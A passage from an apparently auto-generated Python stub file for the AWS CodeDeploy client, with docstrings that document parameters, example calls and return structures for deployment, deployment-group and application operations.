--Information about the location of application artifacts stored in GitHub. repository (string) --The GitHub account and repository pair that stores a reference to the commit that represents the bundled artifacts for the application revision. Specified as account/repository. commitId (string) --The SHA1 commit ID of the GitHub commit that represents the bundled artifacts for the application revision. :type deploymentConfigName: string :param deploymentConfigName: The name of a deployment configuration associated with the applicable IAM user or AWS account. If not specified, the value configured in the deployment group will be used as the default. If the deployment group does not have a deployment configuration associated with it, then CodeDeployDefault.OneAtATime will be used by default. :type description: string :param description: A comment about the deployment. :type ignoreApplicationStopFailures: boolean :param ignoreApplicationStopFailures: If set to true, then if the deployment causes the ApplicationStop deployment lifecycle event to an instance to fail, the deployment to that instance will not be considered to have failed at that point and will continue on to the BeforeInstall deployment lifecycle event. If set to false or not specified, then if the deployment causes the ApplicationStop deployment lifecycle event to fail to an instance, the deployment to that instance will stop, and the deployment to that instance will be considered to have failed. :type targetInstances: dict :param targetInstances: Information about the instances that will belong to the replacement environment in a blue/green deployment. tagFilters (list) --The tag filter key, type, and value used to identify Amazon EC2 instances in a replacement environment for a blue/green deployment. (dict) --Information about an EC2 tag filter. Key (string) --The tag filter key. Value (string) --The tag filter value. Type (string) --The tag filter type: KEY_ONLY: Key only. VALUE_ONLY: Value only. KEY_AND_VALUE: Key and value. autoScalingGroups (list) --The names of one or more Auto Scaling groups to identify a replacement environment for a blue/green deployment. (string) -- :type autoRollbackConfiguration: dict :param autoRollbackConfiguration: Configuration information for an automatic rollback that is added when a deployment is created. enabled (boolean) --Indicates whether a defined automatic rollback configuration is currently enabled. events (list) --The event type or types that trigger a rollback. (string) -- :type updateOutdatedInstancesOnly: boolean :param updateOutdatedInstancesOnly: Indicates whether to deploy to all instances or only to instances that are not running the latest application revision. :type fileExistsBehavior: string :param fileExistsBehavior: Information about how AWS CodeDeploy handles files that already exist in a deployment target location but weren't part of the previous successful deployment. The fileExistsBehavior parameter takes any of the following values: DISALLOW: The deployment fails. This is also the default behavior if no option is specified. OVERWRITE: The version of the file from the application revision currently being deployed replaces the version already on the instance. RETAIN: The version of the file already on the instance is kept and used as part of the new deployment. :rtype: dict :return: { 'deploymentId': 'string' } """ pass def create_deployment_config(deploymentConfigName=None, minimumHealthyHosts=None): """ Creates a deployment configuration. See also: AWS API Documentation :example: response = client.create_deployment_config( deploymentConfigName='string', minimumHealthyHosts={ 'value': 123, 'type': 'HOST_COUNT'|'FLEET_PERCENT' } ) :type deploymentConfigName: string :param deploymentConfigName: [REQUIRED] The name of the deployment configuration to create. :type minimumHealthyHosts: dict :param minimumHealthyHosts: The minimum number of healthy instances that should be available at any time during the deployment. There are two parameters expected in the input: type and value. The type parameter takes either of the following values: HOST_COUNT: The value parameter represents the minimum number of healthy instances as an absolute value. FLEET_PERCENT: The value parameter represents the minimum number of healthy instances as a percentage of the total number of instances in the deployment. If you specify FLEET_PERCENT, at the start of the deployment, AWS CodeDeploy converts the percentage to the equivalent number of instance and rounds up fractional instances. The value parameter takes an integer. For example, to set a minimum of 95% healthy instance, specify a type of FLEET_PERCENT and a value of 95. value (integer) --The minimum healthy instance value. type (string) --The minimum healthy instance type: HOST_COUNT: The minimum number of healthy instance as an absolute value. FLEET_PERCENT: The minimum number of healthy instance as a percentage of the total number of instance in the deployment. In an example of nine instance, if a HOST_COUNT of six is specified, deploy to up to three instances at a time. The deployment will be successful if six or more instances are deployed to successfully; otherwise, the deployment fails. If a FLEET_PERCENT of 40 is specified, deploy to up to five instance at a time. The deployment will be successful if four or more instance are deployed to successfully; otherwise, the deployment fails. Note In a call to the get deployment configuration operation, CodeDeployDefault.OneAtATime will return a minimum healthy instance type of MOST_CONCURRENCY and a value of 1. This means a deployment to only one instance at a time. (You cannot set the type to MOST_CONCURRENCY, only to HOST_COUNT or FLEET_PERCENT.) In addition, with CodeDeployDefault.OneAtATime, AWS CodeDeploy will try to ensure that all instances but one are kept in a healthy state during the deployment. Although this allows one instance at a time to be taken offline for a new deployment, it also means that if the deployment to the last instance fails, the overall deployment still succeeds. For more information, see AWS CodeDeploy Instance Health in the AWS CodeDeploy User Guide . :rtype: dict :return: { 'deploymentConfigId': 'string' } """ pass def create_deployment_group(applicationName=None, deploymentGroupName=None, deploymentConfigName=None, ec2TagFilters=None, onPremisesInstanceTagFilters=None, autoScalingGroups=None, serviceRoleArn=None, triggerConfigurations=None, alarmConfiguration=None, autoRollbackConfiguration=None, deploymentStyle=None, blueGreenDeploymentConfiguration=None, loadBalancerInfo=None): """ Creates a deployment group to which application revisions will be deployed. See also: AWS API Documentation :example: response = client.create_deployment_group( applicationName='string', deploymentGroupName='string', deploymentConfigName='string', ec2TagFilters=[ { 'Key': 'string', 'Value': 'string', 'Type': 'KEY_ONLY'|'VALUE_ONLY'|'KEY_AND_VALUE' }, ], onPremisesInstanceTagFilters=[ { 'Key': 'string', 'Value': 'string', 'Type': 'KEY_ONLY'|'VALUE_ONLY'|'KEY_AND_VALUE' }, ], autoScalingGroups=[ 'string', ], serviceRoleArn='string', triggerConfigurations=[ { 'triggerName': 'string', 'triggerTargetArn': 'string', 'triggerEvents': [ 'DeploymentStart'|'DeploymentSuccess'|'DeploymentFailure'|'DeploymentStop'|'DeploymentRollback'|'DeploymentReady'|'InstanceStart'|'InstanceSuccess'|'InstanceFailure'|'InstanceReady', ] }, ], alarmConfiguration={ 'enabled': True|False, 'ignorePollAlarmFailure': True|False, 'alarms': [ { 'name': 'string' }, ] }, autoRollbackConfiguration={ 'enabled': True|False, 'events': [ 'DEPLOYMENT_FAILURE'|'DEPLOYMENT_STOP_ON_ALARM'|'DEPLOYMENT_STOP_ON_REQUEST', ] }, deploymentStyle={ 'deploymentType': 'IN_PLACE'|'BLUE_GREEN', 'deploymentOption': 'WITH_TRAFFIC_CONTROL'|'WITHOUT_TRAFFIC_CONTROL' }, blueGreenDeploymentConfiguration={ 'terminateBlueInstancesOnDeploymentSuccess': { 'action': 'TERMINATE'|'KEEP_ALIVE', 'terminationWaitTimeInMinutes': 123 }, 'deploymentReadyOption': { 'actionOnTimeout': 'CONTINUE_DEPLOYMENT'|'STOP_DEPLOYMENT', 'waitTimeInMinutes': 123 }, 'greenFleetProvisioningOption': { 'action': 'DISCOVER_EXISTING'|'COPY_AUTO_SCALING_GROUP' } }, loadBalancerInfo={ 'elbInfoList': [ { 'name': 'string' }, ] } ) :type applicationName: string :param applicationName: [REQUIRED] The name of an AWS CodeDeploy application associated with the applicable IAM user or AWS account. :type deploymentGroupName: string :param deploymentGroupName: [REQUIRED] The name of a new deployment group for the specified application. :type deploymentConfigName: string :param deploymentConfigName: If specified, the deployment configuration name can be either one of the predefined configurations provided with AWS CodeDeploy or a custom deployment configuration that you create by calling the create deployment configuration operation. CodeDeployDefault.OneAtATime is the default deployment configuration. It is used if a configuration isn't specified for the deployment or the deployment group. For more information about the predefined deployment configurations in AWS CodeDeploy, see Working with Deployment Groups in AWS CodeDeploy in the AWS CodeDeploy User Guide. :type ec2TagFilters: list :param ec2TagFilters: The Amazon EC2 tags on which to filter. The deployment group will include EC2 instances with any of the specified tags. (dict) --Information about an EC2 tag filter. Key (string) --The tag filter key. Value (string) --The tag filter value. Type (string) --The tag filter type: KEY_ONLY: Key only. VALUE_ONLY: Value only. KEY_AND_VALUE: Key and value. :type onPremisesInstanceTagFilters: list :param onPremisesInstanceTagFilters: The on-premises instance tags on which to filter. The deployment group will include on-premises instances with any of the specified tags. (dict) --Information about an on-premises instance tag filter. Key (string) --The on-premises instance tag filter key. Value (string) --The on-premises instance tag filter value. Type (string) --The on-premises instance tag filter type: KEY_ONLY: Key only. VALUE_ONLY: Value only. KEY_AND_VALUE: Key and value. :type autoScalingGroups: list :param autoScalingGroups: A list of associated Auto Scaling groups. (string) -- :type serviceRoleArn: string :param serviceRoleArn: [REQUIRED] A service role ARN that allows AWS CodeDeploy to act on the user's behalf when interacting with AWS services. :type triggerConfigurations: list :param triggerConfigurations: Information about triggers to create when the deployment group is created. For examples, see Create a Trigger for an AWS CodeDeploy Event in the AWS CodeDeploy User Guide. (dict) --Information about notification triggers for the deployment group. triggerName (string) --The name of the notification trigger. triggerTargetArn (string) --The ARN of the Amazon Simple Notification Service topic through which notifications about deployment or instance events are sent. triggerEvents (list) --The event type or types for which notifications are triggered. (string) -- :type alarmConfiguration: dict :param alarmConfiguration: Information to add about Amazon CloudWatch alarms when the deployment group is created. enabled (boolean) --Indicates whether the alarm configuration is enabled. ignorePollAlarmFailure (boolean) --Indicates whether a deployment should continue if information about the current state of alarms cannot be retrieved from Amazon CloudWatch. The default value is false. true: The deployment will proceed even if alarm status information can't be retrieved from Amazon CloudWatch. false: The deployment will stop if alarm status information can't be retrieved from Amazon CloudWatch. alarms (list) --A list of alarms configured for the deployment group. A maximum of 10 alarms can be added to a deployment group. (dict) --Information about an alarm. name (string) --The name of the alarm. Maximum length is 255 characters. Each alarm name can be used only once in a list of alarms. :type autoRollbackConfiguration: dict :param autoRollbackConfiguration: Configuration information for an automatic rollback that is added when a deployment group is created. enabled (boolean) --Indicates whether a defined automatic rollback configuration is currently enabled. events (list) --The event type or types that trigger a rollback. (string) -- :type deploymentStyle: dict :param deploymentStyle: Information about the type of deployment, in-place or blue/green, that you want to run and whether to route deployment traffic behind a load balancer. deploymentType (string) --Indicates whether to run an in-place deployment or a blue/green deployment. deploymentOption (string) --Indicates whether to route deployment traffic behind a load balancer. :type blueGreenDeploymentConfiguration: dict :param blueGreenDeploymentConfiguration: Information about blue/green deployment options for a deployment group. terminateBlueInstancesOnDeploymentSuccess (dict) --Information about whether to terminate instances in the original fleet during a blue/green deployment. action (string) --The action to take on instances in the original environment after a successful blue/green deployment. TERMINATE: Instances are terminated after a specified wait time. KEEP_ALIVE: Instances are left running after they are deregistered from the load balancer and removed from the deployment group. terminationWaitTimeInMinutes (integer) --The number of minutes to wait after a successful blue/green deployment before terminating instances from the original environment. deploymentReadyOption (dict) --Information about the action to take when newly provisioned instances are ready to receive traffic in a blue/green deployment. actionOnTimeout (string) --Information about when to reroute traffic from an original environment to a replacement environment in a blue/green deployment. CONTINUE_DEPLOYMENT: Register new instances with the load balancer immediately after the new application revision is installed on the instances in the replacement environment. STOP_DEPLOYMENT: Do not register new instances with load balancer unless traffic is rerouted manually. If traffic is not rerouted manually before the end of the specified wait period, the deployment status is changed to Stopped. waitTimeInMinutes (integer) --The number of minutes to wait before the status of a blue/green deployment changed to Stopped if rerouting is not started manually. Applies only to the STOP_DEPLOYMENT option for actionOnTimeout greenFleetProvisioningOption (dict) --Information about how instances are provisioned for a replacement environment in a blue/green deployment. action (string) --The method used to add instances to a replacement environment. DISCOVER_EXISTING: Use instances that already exist or will be created manually. COPY_AUTO_SCALING_GROUP: Use settings from a specified Auto Scaling group to define and create instances in a new Auto Scaling group. :type loadBalancerInfo: dict :param loadBalancerInfo: Information about the load balancer used in a deployment. elbInfoList (list) --An array containing information about the load balancer in Elastic Load Balancing to use in a deployment. (dict) --Information about a load balancer in Elastic Load Balancing to use in a deployment. name (string) --For blue/green deployments, the name of the load balancer that will be used to route traffic from original instances to replacement instances in a blue/green deployment. For in-place deployments, the name of the load balancer that instances are deregistered from so they are not serving traffic during a deployment, and then re-registered with after the deployment completes. :rtype: dict :return: { 'deploymentGroupId': 'string' } """ pass def delete_application(applicationName=None): """ Deletes an application. See also: AWS API Documentation :example: response = client.delete_application( applicationName='string' ) :type applicationName: string :param applicationName: [REQUIRED] The name of an AWS CodeDeploy application associated with the applicable IAM user or AWS account. """ pass def delete_deployment_config(deploymentConfigName=None): """ Deletes a deployment configuration. See also: AWS API Documentation :example: response = client.delete_deployment_config( deploymentConfigName='string' ) :type deploymentConfigName: string :param deploymentConfigName: [REQUIRED] The name of a deployment configuration associated with the applicable IAM user or AWS account. """ pass def delete_deployment_group(applicationName=None, deploymentGroupName=None): """ Deletes a deployment group. See also: AWS API Documentation :example: response = client.delete_deployment_group( applicationName='string', deploymentGroupName='string' ) :type applicationName: string :param applicationName: [REQUIRED] The name of an AWS CodeDeploy application associated with the applicable IAM user or AWS account. :type deploymentGroupName: string :param deploymentGroupName: [REQUIRED] The name of an existing deployment group for the specified application. :rtype: dict :return: { 'hooksNotCleanedUp': [ { 'name': 'string', 'hook': 'string' }, ] } """ pass def deregister_on_premises_instance(instanceName=None): """ Deregisters an on-premises instance. See also: AWS API Documentation :example: response = client.deregister_on_premises_instance( instanceName='string' ) :type instanceName: string :param instanceName: [REQUIRED] The name of the on-premises instance to deregister. """ pass def generate_presigned_url(ClientMethod=None, Params=None, ExpiresIn=None, HttpMethod=None): """ Generate a presigned url given a client, its method, and arguments :type ClientMethod: string :param ClientMethod: The client method to presign for :type Params: dict :param Params: The parameters normally passed to ClientMethod. :type ExpiresIn: int :param ExpiresIn: The number of seconds the presigned url is valid for. By default it expires in an hour (3600 seconds) :type HttpMethod: string :param HttpMethod: The http method to use on the generated url. By default, the http method is whatever is used in the method's model. """ pass def get_application(applicationName=None): """ Gets information about an application. See also: AWS API Documentation :example: response = client.get_application( applicationName='string' ) :type applicationName: string :param applicationName: [REQUIRED] The name of an AWS CodeDeploy application associated with the applicable IAM user or AWS account. :rtype: dict :return: { 'application': { 'applicationId': 'string', 'applicationName': 'string', 'createTime': datetime(2015, 1, 1), 'linkedToGitHub': True|False, 'gitHubAccountName': 'string' } } """ pass def get_application_revision(applicationName=None, revision=None): """ Gets information about an application revision. See also: AWS API Documentation :example: response = client.get_application_revision( applicationName='string', revision={ 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } } ) :type applicationName: string :param applicationName: [REQUIRED] The name of the application that corresponds to the revision. :type revision: dict :param revision: [REQUIRED] Information about the application revision to get, including type and location. revisionType (string) --The type of application revision: S3: An application revision stored in Amazon S3. GitHub: An application revision stored in GitHub. s3Location (dict) --Information about the location of application artifacts stored in Amazon S3. bucket (string) --The name of the Amazon S3 bucket where the application revision is stored. key (string) --The name of the Amazon S3 object that represents the bundled artifacts for the application revision. bundleType (string) --The file type of the application revision. Must be one of the following: tar: A tar archive file. tgz: A compressed tar archive file. zip: A zip archive file. version (string) --A specific version of the Amazon S3 object that represents the bundled artifacts for the application revision. If the version is not specified, the system will use the most recent version by default. eTag (string) --The ETag of the Amazon S3 object that represents the bundled artifacts for the application revision. If the ETag is not specified as an input parameter, ETag validation of the object will be skipped. gitHubLocation (dict) --Information about the location of application artifacts stored in GitHub. repository (string) --The GitHub account and repository pair that stores a reference to the commit that represents the bundled artifacts for the application revision. Specified as account/repository. commitId (string) --The SHA1 commit ID of the GitHub commit that represents the bundled artifacts for the application revision. :rtype: dict :return: { 'applicationName': 'string', 'revision': { 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } }, 'revisionInfo': { 'description': 'string', 'deploymentGroups': [ 'string', ], 'firstUsedTime': datetime(2015, 1, 1), 'lastUsedTime': datetime(2015, 1, 1), 'registerTime': datetime(2015, 1, 1) } } :returns: S3: An application revision stored in Amazon S3. GitHub: An application revision stored in GitHub. """ pass def get_deployment(deploymentId=None): """ Gets information about a deployment. See also: AWS API Documentation :example: response = client.get_deployment( deploymentId='string' ) :type deploymentId: string :param deploymentId: [REQUIRED] A deployment ID associated with the applicable IAM user or AWS account. :rtype: dict :return: { 'deploymentInfo': { 'applicationName': 'string', 'deploymentGroupName': 'string', 'deploymentConfigName': 'string', 'deploymentId': 'string', 'previousRevision': { 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } }, 'revision': { 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } }, 'status': 'Created'|'Queued'|'InProgress'|'Succeeded'|'Failed'|'Stopped'|'Ready', 'errorInformation': { 'code': 'DEPLOYMENT_GROUP_MISSING'|'APPLICATION_MISSING'|'REVISION_MISSING'|'IAM_ROLE_MISSING'|'IAM_ROLE_PERMISSIONS'|'NO_EC2_SUBSCRIPTION'|'OVER_MAX_INSTANCES'|'NO_INSTANCES'|'TIMEOUT'|'HEALTH_CONSTRAINTS_INVALID'|'HEALTH_CONSTRAINTS'|'INTERNAL_ERROR'|'THROTTLED'|'ALARM_ACTIVE'|'AGENT_ISSUE'|'AUTO_SCALING_IAM_ROLE_PERMISSIONS'|'AUTO_SCALING_CONFIGURATION'|'MANUAL_STOP', 'message': 'string' }, 'createTime': datetime(2015, 1, 1), 'startTime': datetime(2015, 1, 1), 'completeTime': datetime(2015, 1, 1), 'deploymentOverview': { 'Pending': 123, 'InProgress': 123, 'Succeeded': 123, 'Failed': 123, 'Skipped': 123, 'Ready': 123 }, 'description': 'string', 'creator': 'user'|'autoscaling'|'codeDeployRollback', 'ignoreApplicationStopFailures': True|False, 'autoRollbackConfiguration': { 'enabled': True|False, 'events': [ 'DEPLOYMENT_FAILURE'|'DEPLOYMENT_STOP_ON_ALARM'|'DEPLOYMENT_STOP_ON_REQUEST', ] }, 'updateOutdatedInstancesOnly': True|False, 'rollbackInfo': { 'rollbackDeploymentId': 'string', 'rollbackTriggeringDeploymentId': 'string', 'rollbackMessage': 'string' }, 'deploymentStyle': { 'deploymentType': 'IN_PLACE'|'BLUE_GREEN', 'deploymentOption': 'WITH_TRAFFIC_CONTROL'|'WITHOUT_TRAFFIC_CONTROL' }, 'targetInstances': { 'tagFilters': [ { 'Key': 'string', 'Value': 'string', 'Type': 'KEY_ONLY'|'VALUE_ONLY'|'KEY_AND_VALUE' }, ], 'autoScalingGroups': [ 'string', ] }, 'instanceTerminationWaitTimeStarted': True|False, 'blueGreenDeploymentConfiguration': { 'terminateBlueInstancesOnDeploymentSuccess': { 'action': 'TERMINATE'|'KEEP_ALIVE', 'terminationWaitTimeInMinutes': 123 }, 'deploymentReadyOption': { 'actionOnTimeout': 'CONTINUE_DEPLOYMENT'|'STOP_DEPLOYMENT', 'waitTimeInMinutes': 123 }, 'greenFleetProvisioningOption': { 'action': 'DISCOVER_EXISTING'|'COPY_AUTO_SCALING_GROUP' } }, 'loadBalancerInfo': { 'elbInfoList': [ { 'name': 'string' }, ] }, 'additionalDeploymentStatusInfo': 'string', 'fileExistsBehavior': 'DISALLOW'|'OVERWRITE'|'RETAIN' } } :returns: tar: A tar archive file. tgz: A compressed tar archive file. zip: A zip archive file. """ pass def get_deployment_config(deploymentConfigName=None): """ Gets information about a deployment configuration. See also: AWS API Documentation :example: response = client.get_deployment_config( deploymentConfigName='string' ) :type deploymentConfigName: string :param deploymentConfigName: [REQUIRED] The name of a deployment configuration associated with the applicable IAM user or AWS account. :rtype: dict :return: { 'deploymentConfigInfo': { 'deploymentConfigId': 'string', 'deploymentConfigName': 'string', 'minimumHealthyHosts': { 'value': 123, 'type': 'HOST_COUNT'|'FLEET_PERCENT' }, 'createTime': datetime(2015, 1, 1) } } """ pass def get_deployment_group(applicationName=None, deploymentGroupName=None): """ Gets information about a deployment group. See also: AWS API Documentation :example: response = client.get_deployment_group( applicationName='string', deploymentGroupName='string' ) :type applicationName: string :param applicationName: [REQUIRED] The name of an AWS CodeDeploy application associated with the applicable IAM user or AWS account. :type deploymentGroupName: string :param deploymentGroupName: [REQUIRED] The name of an existing deployment group for the specified application. :rtype: dict :return: { 'deploymentGroupInfo': { 'applicationName': 'string', 'deploymentGroupId': 'string', 'deploymentGroupName': 'string', 'deploymentConfigName': 'string', 'ec2TagFilters': [ { 'Key': 'string', 'Value': 'string', 'Type': 'KEY_ONLY'|'VALUE_ONLY'|'KEY_AND_VALUE' }, ], 'onPremisesInstanceTagFilters': [ { 'Key': 'string', 'Value': 'string', 'Type': 'KEY_ONLY'|'VALUE_ONLY'|'KEY_AND_VALUE' }, ], 'autoScalingGroups': [ { 'name': 'string', 'hook': 'string' }, ], 'serviceRoleArn': 'string', 'targetRevision': { 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } }, 'triggerConfigurations': [ { 'triggerName': 'string', 'triggerTargetArn': 'string', 'triggerEvents': [ 'DeploymentStart'|'DeploymentSuccess'|'DeploymentFailure'|'DeploymentStop'|'DeploymentRollback'|'DeploymentReady'|'InstanceStart'|'InstanceSuccess'|'InstanceFailure'|'InstanceReady', ] }, ], 'alarmConfiguration': { 'enabled': True|False, 'ignorePollAlarmFailure': True|False, 'alarms': [ { 'name': 'string' }, ] }, 'autoRollbackConfiguration': { 'enabled': True|False, 'events': [ 'DEPLOYMENT_FAILURE'|'DEPLOYMENT_STOP_ON_ALARM'|'DEPLOYMENT_STOP_ON_REQUEST', ] }, 'deploymentStyle': { 'deploymentType': 'IN_PLACE'|'BLUE_GREEN', 'deploymentOption': 'WITH_TRAFFIC_CONTROL'|'WITHOUT_TRAFFIC_CONTROL' }, 'blueGreenDeploymentConfiguration': { 'terminateBlueInstancesOnDeploymentSuccess': { 'action': 'TERMINATE'|'KEEP_ALIVE', 'terminationWaitTimeInMinutes': 123 }, 'deploymentReadyOption': { 'actionOnTimeout': 'CONTINUE_DEPLOYMENT'|'STOP_DEPLOYMENT', 'waitTimeInMinutes': 123 }, 'greenFleetProvisioningOption': { 'action': 'DISCOVER_EXISTING'|'COPY_AUTO_SCALING_GROUP' } }, 'loadBalancerInfo': { 'elbInfoList': [ { 'name': 'string' }, ] }, 'lastSuccessfulDeployment': { 'deploymentId': 'string', 'status': 'Created'|'Queued'|'InProgress'|'Succeeded'|'Failed'|'Stopped'|'Ready', 'endTime': datetime(2015, 1, 1), 'createTime': datetime(2015, 1, 1) }, 'lastAttemptedDeployment': { 'deploymentId': 'string', 'status': 'Created'|'Queued'|'InProgress'|'Succeeded'|'Failed'|'Stopped'|'Ready', 'endTime': datetime(2015, 1, 1), 'createTime': datetime(2015, 1, 1) } } } :returns: KEY_ONLY: Key only. VALUE_ONLY: Value only. KEY_AND_VALUE: Key and value. """ pass def get_deployment_instance(deploymentId=None, instanceId=None): """ Gets information about an instance as part of a deployment. See also: AWS API Documentation :example: response = client.get_deployment_instance( deploymentId='string', instanceId='string' ) :type deploymentId: string :param deploymentId: [REQUIRED] The unique ID of a deployment. :type instanceId: string :param instanceId: [REQUIRED] The unique ID of an instance in the deployment group. :rtype: dict :return: { 'instanceSummary': { 'deploymentId': 'string', 'instanceId': 'string', 'status': 'Pending'|'InProgress'|'Succeeded'|'Failed'|'Skipped'|'Unknown'|'Ready', 'lastUpdatedAt': datetime(2015, 1, 1), 'lifecycleEvents': [ { 'lifecycleEventName': 'string', 'diagnostics': { 'errorCode': 'Success'|'ScriptMissing'|'ScriptNotExecutable'|'ScriptTimedOut'|'ScriptFailed'|'UnknownError', 'scriptName': 'string', 'message': 'string', 'logTail': 'string' }, 'startTime': datetime(2015, 1, 1), 'endTime': datetime(2015, 1, 1), 'status': 'Pending'|'InProgress'|'Succeeded'|'Failed'|'Skipped'|'Unknown' }, ], 'instanceType': 'Blue'|'Green' } } :returns: Pending: The deployment is pending for this instance. In Progress: The deployment is in progress for this instance. Succeeded: The deployment has succeeded for this instance. Failed: The deployment has failed for this instance. Skipped: The deployment has been skipped for this instance. Unknown: The deployment status is unknown for this instance. """ pass def get_on_premises_instance(instanceName=None): """ Gets information about an on-premises instance. See also: AWS API Documentation :example: response = client.get_on_premises_instance( instanceName='string' ) :type instanceName: string :param instanceName: [REQUIRED] The name of the on-premises instance about which to get information. :rtype: dict :return: { 'instanceInfo': { 'instanceName': 'string', 'iamSessionArn': 'string', 'iamUserArn': 'string', 'instanceArn': 'string', 'registerTime': datetime(2015, 1, 1), 'deregisterTime': datetime(2015, 1, 1), 'tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } """ pass def get_paginator(operation_name=None): """ Create a paginator for an operation. :type operation_name: string :param operation_name: The operation name. This is the same name as the method name on the client. For example, if the method name is create_foo, and you'd normally invoke the operation as client.create_foo(**kwargs), if the create_foo operation can be paginated, you can use the call client.get_paginator('create_foo'). :rtype: L{botocore.paginate.Paginator} """ pass def get_waiter(): """ """ pass def list_application_revisions(applicationName=None, sortBy=None, sortOrder=None, s3Bucket=None, s3KeyPrefix=None, deployed=None, nextToken=None): """ Lists information about revisions for an application. See also: AWS API Documentation :example: response = client.list_application_revisions( applicationName='string', sortBy='registerTime'|'firstUsedTime'|'lastUsedTime', sortOrder='ascending'|'descending', s3Bucket='string', s3KeyPrefix='string', deployed='include'|'exclude'|'ignore', nextToken='string' ) :type applicationName: string :param applicationName: [REQUIRED] The name of an AWS CodeDeploy application associated with the applicable IAM user or AWS account. :type sortBy: string :param sortBy: The column name to use to sort the list results: registerTime: Sort by the time the revisions were registered with AWS CodeDeploy. firstUsedTime: Sort by the time the revisions were first used in a deployment. lastUsedTime: Sort by the time the revisions were last used in a deployment. If not specified or set to null, the results will be returned in an arbitrary order. :type sortOrder: string :param sortOrder: The order in which to sort the list results: ascending: ascending order. descending: descending order. If not specified, the results will be sorted in ascending order. If set to null, the results will be sorted in an arbitrary order. :type s3Bucket: string :param s3Bucket: An Amazon S3 bucket name to limit the search for revisions. If set to null, all of the user's buckets will be searched. :type s3KeyPrefix: string :param s3KeyPrefix: A key prefix for the set of Amazon S3 objects to limit the search for revisions. :type deployed: string :param deployed: Whether to list revisions based on whether the revision is the target revision of an deployment group: include: List revisions that are target revisions of a deployment group. exclude: Do not list revisions that are target revisions of a deployment group. ignore: List all revisions. :type nextToken: string :param nextToken: An identifier returned from the previous list application revisions call. It can be used to return the next set of applications in the list. :rtype: dict :return: { 'revisions': [ { 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } }, ], 'nextToken': 'string' } :returns: S3: An application revision stored in Amazon S3. GitHub: An application revision stored in GitHub. """ pass def list_applications(nextToken=None): """ Lists the applications registered with the applicable IAM user or AWS account. See also: AWS API Documentation :example: response = client.list_applications( nextToken='string' ) :type nextToken: string :param nextToken: An identifier returned from the previous list applications call. It can be used to return the next set of applications in the list. :rtype: dict :return: { 'applications': [ 'string', ], 'nextToken': 'string' } """ pass def list_deployment_configs(nextToken=None): """ Lists the deployment configurations with the applicable IAM user or AWS account. See also: AWS API Documentation :example: response = client.list_deployment_configs( nextToken='string' ) :type nextToken: string :param nextToken: An identifier returned from the previous list deployment configurations call. It can be used to return the next set of deployment configurations in the list. :rtype: dict :return: { 'deploymentConfigsList': [ 'string', ], 'nextToken': 'string' } """ pass def list_deployment_groups(applicationName=None, nextToken=None): """ Lists the deployment groups for an application registered with the applicable IAM user or AWS account. See also: AWS API Documentation :example: response = client.list_deployment_groups( applicationName='string', nextToken='string' ) :type applicationName: string :param applicationName: [REQUIRED] The name of an AWS CodeDeploy application associated with the applicable IAM user or AWS account. :type nextToken: string :param nextToken: An identifier returned from the previous list deployment groups call. It can be used to return the next set of deployment groups in the list. :rtype: dict :return: { 'applicationName': 'string', 'deploymentGroups': [ 'string', ], 'nextToken': 'string' } :returns: (string) -- """ pass def list_deployment_instances(deploymentId=None, nextToken=None, instanceStatusFilter=None, instanceTypeFilter=None): """ Lists the instance for a deployment associated with the applicable IAM user or AWS account. See also: AWS API Documentation :example: response = client.list_deployment_instances( deploymentId='string', nextToken='string', instanceStatusFilter=[ 'Pending'|'InProgress'|'Succeeded'|'Failed'|'Skipped'|'Unknown'|'Ready', ], instanceTypeFilter=[ 'Blue'|'Green', ] ) :type deploymentId: string :param deploymentId: [REQUIRED] The unique ID of a deployment. :type nextToken: string :param nextToken: An identifier returned from the previous list deployment instances call. It can be used to return the next set of deployment instances in the list. :type instanceStatusFilter: list :param instanceStatusFilter: A subset of instances to list by status: Pending: Include those instance with pending deployments. InProgress: Include those instance where deployments are still in progress. Succeeded: Include those instances with successful deployments. Failed: Include those instance with failed deployments. Skipped: Include those instance with skipped deployments. Unknown: Include those instance with deployments in an unknown state. (string) -- :type instanceTypeFilter: list :param instanceTypeFilter: The set of instances in a blue/green deployment, either those in the original environment ('BLUE') or those in the replacement environment ('GREEN'), for which you want to view instance information. (string) -- :rtype: dict :return: { 'instancesList': [ 'string', ], 'nextToken': 'string' } :returns: (string) -- """ pass def list_deployments(applicationName=None, deploymentGroupName=None, includeOnlyStatuses=None, createTimeRange=None, nextToken=None): """ Lists the deployments in a deployment group for an application registered with the applicable IAM user or AWS account. See also: AWS API Documentation :example: response = client.list_deployments( applicationName='string', deploymentGroupName='string', includeOnlyStatuses=[ 'Created'|'Queued'|'InProgress'|'Succeeded'|'Failed'|'Stopped'|'Ready', ], createTimeRange={ 'start': datetime(2015, 1, 1), 'end': datetime(2015, 1, 1) }, nextToken='string' ) :type applicationName: string :param applicationName: The name of an AWS CodeDeploy application associated with the applicable IAM user or AWS account. :type deploymentGroupName: string :param deploymentGroupName: The name of an existing deployment group for the specified application. :type includeOnlyStatuses: list :param includeOnlyStatuses: A subset of deployments to list by status: Created: Include created deployments in the resulting list. Queued: Include queued deployments in the resulting list. In Progress: Include in-progress deployments in the resulting list. Succeeded: Include successful deployments in the resulting list. Failed: Include failed deployments in the resulting list. Stopped: Include stopped deployments in the resulting list. (string) -- 